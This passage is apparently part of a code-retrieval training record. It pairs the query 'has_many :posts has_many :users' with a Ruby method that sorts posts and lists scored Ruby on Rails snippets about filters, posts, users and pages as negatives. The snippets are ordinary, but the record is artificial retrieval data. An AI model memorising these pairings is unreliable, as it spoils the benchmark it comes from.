"def filter type\n if type_allowed?(type.downcase) # Downcase the filter type and check if it's allowed (exists in lists)\n list_type = @@list_types[type.downcase.to_sym]\n @items.select { |item| item.is_a? list_type }\n # Set the title equal to the filter and output the\n # Header and items (as long as there are items to put)\n @title = \"Filtered by: \" + type.capitalize\n puts header\n puts output_for items if items\n else\n raise InvalidFilter, \"Invalid Filter: #{filter}\"\n end\n end",
"def filter\n do_authorize_class\n get_project_if_exists\n do_authorize_instance(:show, @project) unless @project.nil?\n\n filter_response, opts = Settings.api_response.response_advanced(\n api_filter_params,\n list_permissions,\n Site,\n Site.filter_settings\n )\n respond_filter(filter_response, opts)\n end",
"def by_type\n filter(:type) do |timeline, type|\n timeline.artifact_type.casecmp(type).zero?\n end\n end",
"def filter_content(type = \"Gallery\", _browser = @browser)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n wait.until { _browser.find_element(:xpath => @galmgr.filter_btn) }\n _browser.find_element(:xpath => \"#{@galmgr.content_type}/option[text()='Gallery']\").click\n JQuery.wait_for_events_to_finish(_browser)\n wait.until { _browser.find_element(:xpath => @galmgr.filter_btn) }.click\n JQuery.wait_for_events_to_finish(_browser)\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.current_user.administrator?\n super\n end",
"def gantt_filter\n render(:partial => \"tasks/filter\", \n :locals => { \n :redirect_action => \"gantt\",\n :hide_grouping => true,\n :hide_colors => true,\n :hide_icons => true,\n :hide_organize => true,\n :hide_hide_dependencies => true\n })\n end",
"def method_missing(meth, *args, &block)\n if meth.to_s =~ /^recent_(\\w+)$/\n recent_type = $1.singularize.camelize.constantize\n views = viewings.find(:all, :limit => AppConstants::RECENT_LIMIT, :order => \"created_at DESC\",\n :conditions => \"viewable_type = '#{recent_type}'\").map { |viewing| viewing.viewable }.uniq.compact\n # make sure the viewings are available to this contact\n views.reject { |v| !account_list.include?(v.account)}\n else\n super\n end\n end",
"def get_activities_by_object_type_and_id(object_type, id)\n @client.raw('get', \"/helpers/activities/#{object_type}/#{id}\")\n end",
"def root_activities\n Activity.find(:all, :conditions => \"type IS NULL AND activity_id IS NULL\")\n end",
"def by_action(events)\n return events unless Event::ACTIONS[params[:action]]\n\n events.where(action: Event::ACTIONS[params[:action]])\n end",
"def activity_type\n return @activity_type\n end",
"def show_filter\n perm_links = ministry.lmi_show.map { |lmi| \"lmi_total_custom_#{lmi}\" }\n table[:perm_link].in(perm_links)\n end",
"def all\n super | entities | action_instances\n end",
"def filters\n # Call model column on self (metadata since element in array is a string, not a variable hence we use send) <=> self.send(profile) == true\n %w[sight_seeing_adventurer art_lover serial_shopper nature_lover food_addict sport_lover history_passionate tech_fan relaxed city_wanderer].select! {|profile| send(profile) == true }\n end",
"def show\n @last_pages = []\n\n elements = Impression.where(user_id: current_user._id).order_by([:created_at, :desc])\n elements.each do |element|\n break if @last_pages.size >= 10\n checking = element.impressionable_type.constantize.find(element.impressionable_id) rescue @last_pages.last\n unless checking == @last_pages.last\n @last_pages << checking\n end\n end\n\n @my_activities = PublicActivity::Activity.where(owner_id: current_user.id).order_by(created_at: :desc).page(params[:page]).per(20)\n @comments = PublicActivity::Activity.where(:recipient_id.in => current_user.all_resources_ids).order_by(created_at: :desc).page(params[:page]).per(20)\n end",
"def resource_type_filter\n return filter_for(:resource_type_id,\n objects_to_names_and_ids(current_user.company.resource_types),\n session[:resource_filters], ResourceType.model_name.human)\n end",
"def index\n @city_actions = CalendarAction.city_actions\n @people_actions = CalendarAction.people_actions\n end",
"def filter(artifacts, action = :include)\n artifacts.filter {|artifact| action_for(artifact) == action}\n end",
"def hide_filter\n perm_links = ministry.lmi_hide.map { |lmi| \"lmi_total_#{lmi}\" }\n query = table[:perm_link].does_not_match(\"%_custom_%\")\n query = query.and(table[:perm_link].not_in(perm_links)) if perm_links.any?\n query\n end"
] |
[
"0.652229",
"0.6421259",
"0.6107175",
"0.60653734",
"0.59281796",
"0.5832485",
"0.5773322",
"0.5760219",
"0.57422835",
"0.5681725",
"0.56059235",
"0.5572643",
"0.5545241",
"0.54194653",
"0.5412291",
"0.54117495",
"0.54105407",
"0.54024184",
"0.53944016",
"0.5384814",
"0.537956",
"0.5374226",
"0.5359787",
"0.53574735",
"0.53371644",
"0.53371644",
"0.53369725",
"0.53343815",
"0.53286177",
"0.52772254",
"0.52743495",
"0.5271863",
"0.527078",
"0.5265907",
"0.52626586",
"0.5255118",
"0.5246168",
"0.5241617",
"0.5241617",
"0.5240822",
"0.5217127",
"0.51905173",
"0.51901627",
"0.5183784",
"0.5182534",
"0.5170002",
"0.5167554",
"0.51548153",
"0.5140984",
"0.5134679",
"0.5130584",
"0.5122888",
"0.5120902",
"0.51193875",
"0.5114357",
"0.5097531",
"0.5095049",
"0.5095027",
"0.507144",
"0.506713",
"0.5057485",
"0.50520563",
"0.50485903",
"0.50484186",
"0.5042934",
"0.50392824",
"0.5031479",
"0.5030233",
"0.50253576",
"0.5024449",
"0.5023513",
"0.50196105",
"0.50094754",
"0.49916217",
"0.49903575",
"0.49856964",
"0.49605644",
"0.4947375",
"0.49460194",
"0.4938488",
"0.49358088",
"0.49356386",
"0.49333966",
"0.4930556",
"0.4927732",
"0.49210954",
"0.49148816",
"0.49055442",
"0.4897401",
"0.48929733",
"0.48897734",
"0.48819336",
"0.48812473",
"0.48712176",
"0.48695898",
"0.48653543",
"0.4862571",
"0.48531118",
"0.48516977",
"0.4849946"
] |
0.6324346
|
2
|
has_many :posts has_many :users
|
def posts
self.object.posts.sort_by{|post| post.id}.reverse
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_user_posts\n Post.joins(:user).where(users: {id: self.id})\n end",
"def my_posts\n Post.where(user_id: self.id)\n end",
"def index\n posted_user_ids = User.has_posted.pluck(:id)\n @posts = Post.includes(:book, :user).where(user_id: posted_user_ids)\n end",
"def user_posts\n posts = []\n self.posts.order(\"id desc\").each do |post|\n post = post.attributes.merge(image: post.image.url)\n posts << post\n end\n posts\n end",
"def friends_posts\r\n\t\tPost.where(user_id: [Friendship.where(user_id: id).map{|f| f.friend_id}])\r\n\tend",
"def index\n @posts = Post.user_posts current_user\n end",
"def all\n @posts = Post.all\n @users = User.all\n end",
"def related_posts; end",
"def posts\n @user = User.find(params[:id])\n redirect_to posts_path if !current_user.admin? && !@user.activated?\n @posts = @user.posts.order(\"created_at DESC\")\n end",
"def posts \n Post.all.select {|post| post.author == self}\n end",
"def blog\n @posts = Post.includes(:user).where(user_id: params[:id]).order(created_at: :desc)\n end",
"def index\n @users = User.all\n @posts = Post.all\n end",
"def show\n @user = User.friendly.find(params[:id])\n @user_posts = @user.posts.all.order(\"created_at desc\")\n @posts = Post.all.order(\"created_at desc\")\n end",
"def user_submissions\n @posts = Post.all.where(\"user_id = ?\", current_user.id)\n end",
"def post\n array = []\n Post.post.each do |element|\n if element.user_id == self.user_id\n array << element\n end\n end\n array.each do |post|\n puts post.title\n end\n end",
"def index\n @user_posts = UserPost.all\n end",
"def posts()\r\n db = connect()\r\n result = db.execute(\"SELECT users.userid, users.firstname, users.lastname, users.username, users.email, users.phone, posts.title, posts.text, posts.postid FROM users INNER JOIN posts ON users.userid=posts.userid\")\r\n return result\r\n end",
"def show\n @user = User.includes(:posts).find(params[:id])\n end",
"def posts\n Post.all.select {|post| post.author == self}\nend",
"def user_posts\n @user = User.find_by_id(params[:id])\n #check if the user exists! If they don't redirect to the last page\n if @user\n #posts sorted by date descending\n @posts = @user.posts.sort { |p1, p2| p2.created_at <=> p1.created_at}\n else\n redirect_to(session[:last_page]) unless @user\n end\n end",
"def get_posts_for_user\n @posts = policy_scope(Post)\n end",
"def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n @user_posts = @user.posts.paginate(page: params[:page]).order('created_at DESC')\n \n end",
"def show\n @posts = @user.posts\n end",
"def add_post(post)\n @posts << post #pushes post into post array so that we can compare the author with that author\n post.author = self\nend",
"def index\n @posts = Post.where(:user_id => current_user.id).order(\"created_at DESC\")\n #@posts = Post.all.order(\"created_at DESC\")\n #this post also saves lives\n #https://stackoverflow.com/questions/25831594/devise-how-to-show-users-post\n \n end",
"def followed_posts\n self.followed_users.includes(:posts).order(\"updated_at desc\").collect{|u| u.posts}.flatten \n end",
"def relevant_posts\n\t\tfollowed_posts = Post.followed(@user)\n\t\ttagged_posts = Post.tagged_by_user(@user)\n\t\tfollowed_posts | tagged_posts\n\tend",
"def posts\n @user = User.find(params[:id])\n end",
"def show\n @user = User.find_by(id: params[:id])\n @posts = @user.posts\n end",
"def posts\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Micropost.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"def index\n @posts = @current_user.posts\n end",
"def friends_and_own_posts\n myfriends = friends\n our_posts = []\n myfriends.each do |f|\n f.posts.each do |p|\n our_posts << p\n end\n end\n posts.each do |p|\n our_posts << p\n end\n our_posts\n end",
"def index\n @posts = current_user.posts\n\n end",
"def wall_post_members\n Member.related_to_notification(self)\n end",
"def get_user_posts_by_following\n self.following.collect do |followed|\n followed.get_user_posts\n end\n end",
"def index\n @posts = current_user.posts\n end",
"def add_post(post)\n post.author = self\n end",
"def add_post(post)\n post.author = self\n end",
"def add_post(post)\n post.author = self\n end",
"def create_other_members_posts\n\t\tposts = []\n\t\tother_user = create_other_member_user\n\t\tposts << FactoryGirl.create(:post, :user_id => other_user.id, :title => \"Post 1\", :body => \"In Post 1 we talk about...\", :public => true) \n\t posts << FactoryGirl.create(:post, :user_id => other_user.id, :title => \"Post 2\", :body => \"In Post 2 we talk about...\", :public => false) \n\t posts << FactoryGirl.create(:post, :user_id => other_user.id, :title => \"Post 3\", :body => \"In Post 3 we talk about...\", :public => true)\n\tend",
"def show\n user = Userinfo.find(params[:id])\n\n @posts = user.posts\n end",
"def create\n @post = Post.new(post_params)\n @post.users.push(User.find(current_user.id))\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_post_by_title(title)\n post_title = Post.new(title)\n post_title.author = self\n @posts << post_title\nend",
"def feed\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Post.joins(:user)\n .group(\"users.name, posts.id\")\n .where(\"user_id IN (#{following_ids})\", user_id: id).where(\"posts.created_at > ?\", 1.week.ago)\n .select('posts.*, users.name').group_by(&:name)\n end",
"def index\n @posts = Post.where(user_id: current_user)\n end",
"def add_post(post)\n post.author = self \n end",
"def posts\n Posts.new(self)\n end",
"def viewUsersByPosts\n @results = Array.new\n @results = Post.find_by_sql('SELECT username, COUNT(user_id) FROM users INNER JOIN posts ON users.id = posts.user_id GROUP BY users.id ORDER BY COUNT(user_id) DESC') #query for getting the number of posts per user\n end",
"def index\n\t\t@user_posts = Post.where(user_id: current_user.id).where(active: true).order(\"created_at DESC\")\n\tend",
"def friend_and_user_posts\n user_friends = friends\n all_posts = []\n user_friends.each do |friend|\n friend.posts.each do |post|\n all_posts << post\n end\n end\n posts.each do |post|\n all_posts << post\n end\n ordered_posts = all_posts.sort_by { |post| post[:created_at] }.reverse\n end",
"def set_post\n @post = Post.includes(:user).find(params[:id])\n end",
"def show\n#北七喔 是user 跟 group建立多對多\n#又不是group 跟 post多對多 \n\n @posts = @group.posts.each.reverse_each\n if current_user.profile == nil\n user = current_user\n Profile.create(:user_id => user.id, :name => user.email, :age => nil, :location => nil, :gender => nil)\n end\n end",
"def show\n posts = policy_scope(@user.posts)\n postables = posts.map(&:postable).uniq\n\n @postables = postables.map do |p|\n [p, p.posts.where(user: @user).last, p.posts.where(user: @user).count]\n end\n @postables.sort! do |a, b|\n b[1].created_at <=> a[1].created_at\n end\n\n @postables = Kaminari.paginate_array(@postables)\n .page(params[:page])\n .per(15)\n end",
"def has_many(*args)\n require \"og/relation/has_many\"\n relations! << Og::HasMany.new(args, :owner_class => self, :collection => true)\n end",
"def index\n\t\t@user = User.find_by_id(session[:user_id])\n\t\t@post = @user.posts.last\n\t\t@posts = @user.posts.all()\n\tend",
"def all\n post_owners = [current_user.id] + Friendship.where(:user2_id => current_user, :approved => true).pluck(:user1_id)\n @posts = Post.where('owner_id' => post_owners).order(created_at: :desc).page(params[:page]).per_page(POSTS_PER_PAGE)\n end",
"def mark_all_posts usr\n return false if usr.blank?\n @conv.posts.each do |post|\n post.mark_as_read! for: usr if post\n end\n end",
"def index\n @posts = Post.where(user_id: current_user.id).order(created_at: 'desc')\n @otherposts = Post.where.not(user_id: current_user.id).order(created_at: 'desc')\n end",
"def index\n @posts = Post.all\n @posts = @user.posts.all.order(updated_at: :desc)\n end",
"def index\n people_in_feed = current_user.feed_list\n @posts = Post.where(user: people_in_feed)\n end",
"def index\n @admin_user_posts = AdminUserPost.all\n end",
"def user_posts(user, tag = nil)\n was_subscribed = true\n ret = []\n\n # unless we already subscribed, subscribe to user\n unless subs.keys.include?(user)\n sub(user)\n was_subscribed = false\n end\n \n # grab list of user's posts\n inbox_dates.keys.each do |date|\n ret += inbox(date).find_all do |post| \n post['user'] == user && (tag == nil || post['tags'].include?(tag))\n end\n end\n\n # unsubscribe from user unless we were already subscribed\n unsub(user) unless was_subscribed\n\n # return list of user's posts\n ret\n end",
"def userpost_params\n params.require(:userpost).permit(:user_id, :posts_id)\n end",
"def add_post(post)\n @posts << post\n post.author = self\n end",
"def getPosts()\n\t\tself.post\n\tend",
"def user_posts(user, tag = nil)\n was_subscribed = true\n ret = []\n\n # unless we already subscribed, subscribe to user\n unless subs.keys.include?(user)\n sub(user)\n was_subscribed = false\n end\n \n # grab list of user's posts\n inbox_dates.keys.each do |date|\n ret += inbox(date).find_all do |post| \n post['user'] == user && (tag == nil || post['tags'].include?(tag))\n end\n end\n\n # unsubscribe from user unless we were already subscribed\n unsub(user) unless was_subscribed\n\n # return list of user's posts\n ret\n end",
"def index\n @all_posts = [] + current_user.posts\n current_user.friends.each { |friend| friend.posts.each { |post| @all_posts.push post } }\n @posts = @all_posts\n puts @posts.inspect\n end",
"def index\n posts = Post.all\n @posts = posts.where('user_id in (?)', current_user.id) if current_user.admin?\n @posts = posts\n end",
"def index\n # @posts = Post.all\n # we want to scope the posts to the current user only\n @posts = current_user.posts\n end",
"def get_user_posts_by_following\n\t\tself.following.collect do |followed|\n\t\t\tfollowed.get_user_posts\n\t\tend\n end",
"def related_posts\n @related_posts ||= Jekyll::RelatedPosts.new(self).build\n end",
"def index\n @posts = Post.post_for_user(current_user).order_post.paginate(page:params[:page],per_page:10).relationships_posts\n end",
"def setup_posts(posts, user)\n @posts_with_votes = []\n #\\33t h6x\n if !posts.nil?\n posts.each do |post|\n vote = nil\n share = nil\n if !user.nil?\n vote = Vote.find_by_user_id_and_post_id(user.id, post.id)\n end\n @posts_with_votes.push(OpenStruct.new(post.attributes.merge({current_user_vote: parse_vote(vote), watch_stat: post.watch_stat, ignore_stat: post.ignore_stat, user: post.user})))\n end\n end\n end",
"def index\n @posts = Post.all\n @user = current_user\n end",
"def add_post(post)\n @posts << post\n post.author = self\n @@post_count += 1\n end",
"def add_post(post)\n @posts << post\n post.author = self\n @@post_count += 1\n end",
"def index\n if params[:user_id]\n @posts = Post.where(user_id: params[:user_id])\n else\n @posts = current_user.posts\n end\n end",
"def posts\n Post.filter(:tag_id => self.tag_id)\n end",
"def create\n # with assocations, you can build through the association\n # @post = Post.new(post_params)\n #@post.user_id = current_user.id\n\n #this inherently takes the current_user's PK and store it in the FK of the new post because of the assocation we set. It essentially creates this new posts and associates the post with the user.\n # @post = current_user.posts.new(post_params)\n @post = current_user.posts.build(post_params)\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n #if user is a author then show him all his posts.\n if current_user.role != \"reader\"\n @posts = Post.where(user_id: current_user.id )\n #if user is an reader then show him all this posts of authors that he is subscribed to.\n else\n user = User.where(id: current_user.id)\n @subscribed_authors = user.first.subscribers\n #to save relevant posts form all the subscribers\n @posts = Post.where(user_id: @subscribed_authors.ids)\n end\n #deburger\n end",
"def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n if current_user == @user\n @posts = current_user.feed.paginate(page: params[:page]) \n else\n @posts = @user.posts.paginate(page: params[:page])\n end\n end",
"def top_users_posts_sql\n \"SELECT U.name AS name, COUNT(P.id) AS num_posts FROM Users U, Posts P WHERE U.id = P.user_id GROUP BY U.id, name ORDER BY num_posts DESC LIMIT 5\"\n end",
"def post\n Post.all.select {|post| post.author == self}\n end",
"def posts; end",
"def show\n @user = User.find(params[:id])\n @post = Post.new\n @posts = @user.posts.paginate(:page => params[:page], :per_page => 10)\n @title = @user.name\n end",
"def profile\n if @user == current_user or current_user.friends.include?(@user)\n posts = @user.posts\n else\n posts = @user.posts.where(is_public: true)\n end\n\n posts = posts.order(\"created_at DESC\")\n posts = add_image_and_user_to_post(posts)\n\n render json: posts, status: :ok\n end",
"def user_posts_and_comments\n %w(posts comments).freeze\n end",
"def has_many(*attrs)\n associate(:has_many, attrs)\n end",
"def following_posts_count\n count_sql=<<-SQL\n SELECT COUNT(*) AS num FROM posts p\n INNER JOIN follows f ON f.followable_id = p.user_id \n INNER JOIN visit_journals v ON v.user_id = p.user_id\n\t WHERE f.follower_id = #{self.id} AND p.created_at > v.last_visited_at\n\tGROUP BY p.user_id\n SQL\n User.find_by_sql(count_sql)\n end",
"def show\n @administrator = Administrator.find(params[:id])\n @posts = Post.all\n # @users = User.all\n end",
"def users\n @users ||= AssociationProxies::ProjectUsers.new(self)\n end",
"def mark_all_posts usr\n ConversationProcessor.new(self).mark_all_posts usr\n end",
"def show\n @user = User.find_by username: params[:username]\n @posts = Post.where user_id: @user.id\n @posts = @posts.reverse\n end",
"def find_user_and_post\n @user = User.find(params[:user_id])\n @post = Post.find(params[:post_id])\n end",
"def feed\n Post.from_users_followed_by(self)\n end",
"def feed\n Post.from_users_followed_by(self)\n end",
"def has_many(name, *args, **opt)\n add_collection_property(name, *args, **opt)\n set_relation_field(name, args.first)\n end",
"def post_relation\n if user = current_user\n respond_with PostRelation.find_or_create(post_id:params[:id],user_id:user.id)\n else\n head :unauthorized\n end\n end",
"def increment_user_posts\n user.increment_posts(1)\n end",
"def get_posts(id)\r\n db = connect()\r\n return result=db.execute(\"SELECT * FROM posts WHERE posts.userid=(?)\", id)\r\n end"
] |
[
"0.7623238",
"0.6807512",
"0.66903895",
"0.6488015",
"0.6373045",
"0.6347549",
"0.62779236",
"0.6240288",
"0.62153375",
"0.6203202",
"0.6157127",
"0.6121711",
"0.6105165",
"0.60576326",
"0.60449153",
"0.6011584",
"0.60004306",
"0.5993527",
"0.5988148",
"0.59294903",
"0.5916328",
"0.5914683",
"0.5896589",
"0.58943444",
"0.58907074",
"0.5878377",
"0.5875391",
"0.58671004",
"0.58623457",
"0.5857679",
"0.5846665",
"0.5832602",
"0.58289665",
"0.580592",
"0.5796262",
"0.5791659",
"0.5769595",
"0.5769595",
"0.5769595",
"0.57661545",
"0.57653433",
"0.5764763",
"0.5745816",
"0.5739769",
"0.57127875",
"0.570848",
"0.57038945",
"0.5698446",
"0.56758296",
"0.56324005",
"0.5628415",
"0.562042",
"0.56182486",
"0.5599886",
"0.5590202",
"0.55894864",
"0.55797243",
"0.5574627",
"0.5563484",
"0.55604815",
"0.55597395",
"0.55555856",
"0.5555504",
"0.5533396",
"0.5515866",
"0.5511329",
"0.55083144",
"0.5505778",
"0.55054814",
"0.5505411",
"0.5498818",
"0.5496426",
"0.5495944",
"0.5489292",
"0.54864633",
"0.54864633",
"0.5485541",
"0.5480504",
"0.5473672",
"0.54729867",
"0.5467305",
"0.5466561",
"0.5460418",
"0.5445756",
"0.54375136",
"0.54347205",
"0.54331434",
"0.5431858",
"0.54293776",
"0.5429156",
"0.54285944",
"0.54228014",
"0.54226583",
"0.54189306",
"0.5408772",
"0.5408772",
"0.5406131",
"0.5402816",
"0.53975517",
"0.5397095"
] |
0.5497055
|
71
|
TODO: solve static pages ids
|
def equal_to_params(controller, action)
controller == params[:controller] &&
action.include?(params[:action]) if controller && action
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pages; end",
"def pages\n end",
"def site_pages \n Rails.application.reload_routes!\n page_routes = Rails.application.routes.routes.select do |route|\n route.verb == \"GET\" && !route.name.blank? && !route.name.match(/^edit/) && !route.name.match(\"translat\") && !route.name.match(\"external_author\")\n end\n\n @paths = []\n @errors = []\n @errors << \"Skipping translation and external author pages because these areas are in-progress.\"\n\n page_routes.each do |r|\n path = r.path.split('(').first\n while (path.match(/:([^\\/]+)_id\\//)) do\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":#{$1}_id\", \"#{id}\") if id\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, #{$1}\"\n break\n end\n end\n\n if (path.match(/\\/([^\\/]+)\\/:id/))\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":id\", \"#{id}\")\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, id\"\n end\n end\n\n @paths << [path, r.name]\n end\n \n render :action => \"site_pages\", :layout => \"application\"\n end",
"def pages=(_arg0); end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def assign_pages!; end",
"def page\n # get the id parameter, which can be either a page ID # or a page name\n @page_id = params[:id]\n raise \"static page without id\" if @page_id.blank?\n\n unless read_fragment(:controller => 'content', :part => @page_id + \"_\" + current_user.language_abbr)\n if @page_id.is_int?\n @content = ContentPage.find_by_id(@page_id)\n else # assume it's a page name\n page_name = @page_id.gsub(' ', '_').gsub('_', ' ')\n @content = ContentPage.find_by_page_name(page_name)\n end\n\n if @content.nil?\n raise \"static page content #{@page_id} for #{current_user.language_abbr} not found\"\n else\n @navigation_tree_breadcrumbs = ContentPage.get_navigation_tree_with_links(@content.id)\n current_language = Language.from_iso(current_user.language_abbr)\n @translated_content = TranslatedContentPage.find_by_content_page_id_and_language_id(@content.id, current_language.id)\n if @translated_content.nil?\n @page_title = I18n.t(\"cms_missing_content_title\")\n @translated_pages = TranslatedContentPage.find_all_by_content_page_id(@content.id)\n else\n @page_title = @translated_content.title\n end\n\n end\n\n\n\n # if this static page is simply a redirect, then go there\n current_user.log_activity(:viewed_content_page_id, :value => @page_id)\n end\n end",
"def template_page(site); end",
"def add_template_pages; end",
"def render_pages(static_path)\n puts \" Rendering pages\"\n Page.all.each do |p|\n if p.published? && (body = p.render)\n dir, filename = p.url, \"index.html\"\n dir, filename = p.parent.url, p.slug if p.slug =~ /\\.[^.]+$/i # File with extension (e.g. styles.css)\n FileUtils.mkdir_p(File.join(static_path, dir))\n File.open(File.join(static_path, dir, filename), 'w') { |io| io.print(body) }\n else\n puts \" ! Not rendering #{p.id} - #{p.status.name} - #{p.url}\"\n end\n end\nend",
"def page\n\n end",
"def associate_page(page); end",
"def set_page\n @page = Page.published.friendly.find(params[:id])\n @sections = @page.sections.published.sorted\n @subpages = @page.subpages.published.sorted\n end",
"def pages\n @pages \n end",
"def active_pages\n %w(users background sources) # translations not working at the moment, templates not ready for generic use\n end",
"def make_all_pages_tei\n @pages = Page.where(\"id > 0\")\n @pages.each do |p|\n dopagetei(p.id)\n end\n\n end",
"def page_id(page_id = nil)\n @page_id ||= page_id\n @page_id || \"generic_page\"\n end",
"def get_pages\n @pages << base_gallery_url\n (@doc/\"a\").select{|a| a[\"href\"] =~ /ndxpage/}.each do |e|\n @pages << base_gallery_url_prefix + e[\"href\"]\n end\n puts \"got pages!\"\n puts @pages.inspect\n puts \"---\"\n end",
"def index\n @page = Page.find(params[:page_id])\n @urls = Url.where(page_id: params[:page_id])\n end",
"def show\n @page = Page.find(params[:id])\n #this is how we find every page by its id\n end",
"def first_page_id\n # Some PageTurners use integers, others use GUIDs etc., \n # but page numbers are most common, so default to 1.\n 1\n end",
"def page(key)\n end",
"def index\n @pages = Static.all\n end",
"def page_identifier(path)\n # TODO: Speed this up by adding an index & unique constraint on path attribute\n Integral::Page.not_archived.find_by_path(path)&.id\n end",
"def pages\n @pages\n end",
"def system_pages(pageid)\n pages = []\n\n pages << 'Site default page' if site_default_page_id == pageid\n pages << 'Not found page' if not_found_page_id == pageid\n pages << 'Permission denied page' if permission_denied_page_id == pageid\n pages << 'Session expired page' if session_expired_page_id == pageid\n pages unless pages.empty?\n end",
"def page_id\n if id = content_for(:body_id) and id.present?\n return id\n else\n base = controller.class.to_s.gsub(\"Controller\", '').underscore.gsub(\"/\", '_')\n return \"#{base}-#{controller.action_name}\"\n end\n end",
"def index\n @pages = Page.where(site_id: @site.id).order('name asc')\n end",
"def page_dom_id\n dom_class(Kase, :page)\n end",
"def page_dom_id\n dom_class(Kase, :page)\n end",
"def set_page\n @static_page = StaticPage.find_by name: params[:name]\n end",
"def post_process(pages)\n end",
"def sitemap_pages\n @sitemap_pages ||= proper_pages.excluding_slices.group_by(&:page_id)\n end",
"def page\n get_page\n nil\n end",
"def index\n @pages = Page.all.order(\"id desc\").page(params[:page]).per_page(8)\n \n end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def pages\n @pages ||= get_pages\n end",
"def index\n get_own_documents\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_documents\n end\n render_js_or_html_index\n end",
"def retrieve_pages(dir, dot_pages); end",
"def page_load; end",
"def page\n obj\n end",
"def object_id_for_page(k)\n k -= 1 if k > 0\n flat_page_ids = get_page_objects(pages).flatten\n flat_page_ids[k]\n end",
"def url_generator\n\t\t@page_name = PAGE_NAME_PART_1 + @movie_type + PAGE_NAME_PART_2 + @page_num.to_s + PAGE_NAME_PART_3\n\tend",
"def id\n\t\t@id ||= \"#{page_id.nil? ? 0 : page_id}_#{part}_#{position}\"\n\tend",
"def pages()\n get('subAccountPages')\n end",
"def type_name\n \"page\"\n end",
"def set_static_page\n @static_page = StaticPage.find(params[:id])\n end",
"def set_static_page\n @static_page = StaticPage.find(params[:id])\n end",
"def set_static_page\n @static_page = StaticPage.find(params[:id])\n end",
"def main_pages\n @mainpages = Webpage.find(:all, :conditions => ['page_alias NOT IN (?) AND is_root != ? AND enabled = ?', ['about', 'contact'], true, true]);\n end",
"def selected_page\n end",
"def pathWebSitePages\n pathWebSite + \"pages/\"\nend",
"def pages\n @pages\n end",
"def import_page\n end",
"def index\n #@site_pages = SitePage.all\n end",
"def set_page\n @page = Page.find_by_permalink!(params[:id])#.split(\"/\").last)\n end",
"def get_page(site,page)\n page.blank? ? Page.find_by_slug_and_site_id(Page::INDEX, site.id, :include => { :parts => :part_type }) : Page.find_by_slug_and_site_id(page, site.id, :include => { :parts => :part_type} )\n end",
"def parser_url\n @pages_tree = session[:pages_tree]\n @pages_menu = session[:pages_menu]\n page_id = @pages_tree.index(\"/\" + params[:url].to_s)\n if page_id.nil?\n respond_to do |format|\n format.html { redirect_to @pages_tree[((Page.where([\"parent_id is NULL\"])).minimum(:id)).to_s], notice: \"Page #{params[:url].to_s} not exists.\" }\n end\n else\n @page = Page.find(page_id)\n end\n end",
"def setPageNr(typePlusID) \n len = @page.css(typePlusID).css('li').length\n for i in 0..len-1 do \n titleName = @page.css(typePlusID).css('li')[i].css('span')[0].text\n correctPage = getPageNrForTitle(titleName)\n pageSpan = @page.css(typePlusID).css('li')[i].css('span')[1]\n pageSpan.content = correctPage.to_i - 1\n end\nend",
"def set_id(page)\n page.data['id'] = page.data['permalink'][1..page.data['permalink'].length]\n end",
"def get_page_nav\n\n @page_nav = Page.where(display_in_menu: 't').where(is_published: 't').order(id: :asc)\n\n end",
"def show\n page = params[:page]\n puts \"the page is#{page}\"\n render \"statics#{page}\"\n end",
"def pages\n plantuml_files.map { |static_file| page_from_static_file(static_file) }\n end",
"def external_link_inventory # make this an object attribute for every page object, along with base url, and other helpful state info\n []\n end",
"def paginate_path(site, num_page); end",
"def page_code\n \t0\n end",
"def page_id_hash content_md_doc\n page_id_hash = {}\n page_resource_nodes = content_md_doc.root.xpath('/contentMetadata/resource[@type=\"page\"]')\n logger.warn(\"no page <resource> elements found in contentMetadata: #{content_md_doc.to_xml}\") if page_resource_nodes.empty?\n page_resource_nodes.each { |p_node|\n # for each resource, get the id and the page number\n page_id_hash[page_id(p_node)] = page_num(p_node)\n }\n page_id_hash\n end",
"def sub_pages(dir)\n sitemap.resources.select do |r|\n r.url.start_with? \"/#{dir}\"\n end\n end",
"def homepage\n page.homepage\n end",
"def max_pages() 1 end",
"def pages_path\n @pages_path || root / 'pages'\n end",
"def ingest_pages\n @table_of_contents.unique_pages.each_with_index do |entry, index|\n label = entry ? Utils.xml_escape(entry.title) : \"Page #{index + 1}\"\n @component_objects.push ingest_page(entry.image_filename, label, index + 1)\n end\n\n if @manifest.embargo\n @component_objects.each do |pid|\n @drupal_db.add_embargo pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n end\n end",
"def index\n @root_pages = Page.root_pages\n @uncategorized_pages = Page.uncategorized\n end",
"def pages\n @pages ||= []\n end",
